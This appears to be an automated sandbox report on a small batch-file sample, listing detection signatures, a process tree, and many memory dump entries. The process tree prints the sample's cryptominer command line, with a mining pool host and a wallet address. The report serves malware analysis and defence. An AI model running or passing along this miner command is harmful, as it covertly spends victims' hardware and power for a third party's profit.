Analysis

  • max time kernel
    899s
  • max time network
    884s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/10/2026, 16:54

General

  • Target
    ymd(Copy 19).bat
  • Size 141B
  • Sample261018-vetvpse17j
  • SHA256 c721196733f64522d2030c6a93e4670354262ab7cfef3b77a2b336e8d0088db5
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 41 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ymd(Copy 19).bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Users\Admin\AppData\Local\Temp\zrplant.exe
      zrplant.exe -a yespoweradvc -o stratum+tcp://yespowerADVC.eu.mine.zpool.ca:6248 -u ltc1qnac7xhquwtdkg52p87l7f6j7pr9lslfeh0r2vy -p c=LTC -t 4
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1988
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3044
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1916
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4616
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2100
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:5588

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH

            memory/1916-224-0x000002AC2E880000-0x000002AC2EF11000-memory.dmp

            memory/1988-34-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-36-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-5-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-6-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-7-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-8-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-9-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-10-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-11-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-12-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-13-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-14-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-15-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-16-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-17-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-18-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-19-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-20-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-21-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-22-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-23-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-24-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-25-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-26-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-27-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-28-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-29-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-30-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-31-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-32-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-33-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-1-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-4-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-37-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-35-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-38-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-39-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-40-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-41-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-42-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-43-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-44-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-3-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-2-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-252-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-250-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-248-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-246-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-244-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-223-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-0-0x000001DC44830000-0x000001DC44850000-memory.dmp

            memory/1988-225-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-227-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-229-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-231-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-234-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-236-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-238-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-240-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/1988-242-0x00007FF79D5D0000-0x00007FF79DD7D000-memory.dmp

            memory/4616-74-0x000001D24CD10000-0x000001D24CE10000-memory.dmp

            memory/4616-73-0x000001D23C8E0000-0x000001D23C900000-memory.dmp

            memory/4616-76-0x000001D23CCB0000-0x000001D23CCD0000-memory.dmp

            memory/4616-110-0x000001D24CFE0000-0x000001D24D000000-memory.dmp

            memory/4616-66-0x000001CA38050000-0x000001CA38150000-memory.dmp